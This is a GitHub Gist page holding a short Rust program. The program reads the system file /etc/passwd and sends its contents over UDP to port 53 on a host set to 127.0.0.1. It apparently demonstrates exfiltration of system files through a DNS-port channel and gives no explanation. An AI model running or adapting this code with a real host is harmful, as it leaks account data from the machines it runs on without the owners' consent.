Created
May 16, 2020 16:00
-
-
Save ipcjk/45c67424bf044bef26f9af46e469e8f5 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::net::UdpSocket; | |
use std::fs::File; | |
use std::io::prelude::*; | |
fn main() { | |
let host = "127.0.0.1"; | |
let port = "53"; | |
let x = File::open("/etc/passwd"); | |
let mut file = match x { | |
Ok(x) => x, | |
Err(_) => unimplemented!(), | |
}; | |
let mut contents = String::new(); | |
file.read_to_string(&mut contents).expect("woo"); | |
let udp = UdpSocket::bind("127.0.0.1:34254").expect("couldn't bind to address"); | |
let destination = format!("{}:{}", host, port); | |
udp.connect(&destination).expect("unable to connect"); | |
udp.send(contents.as_bytes()).expect("Fehler beim senden"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment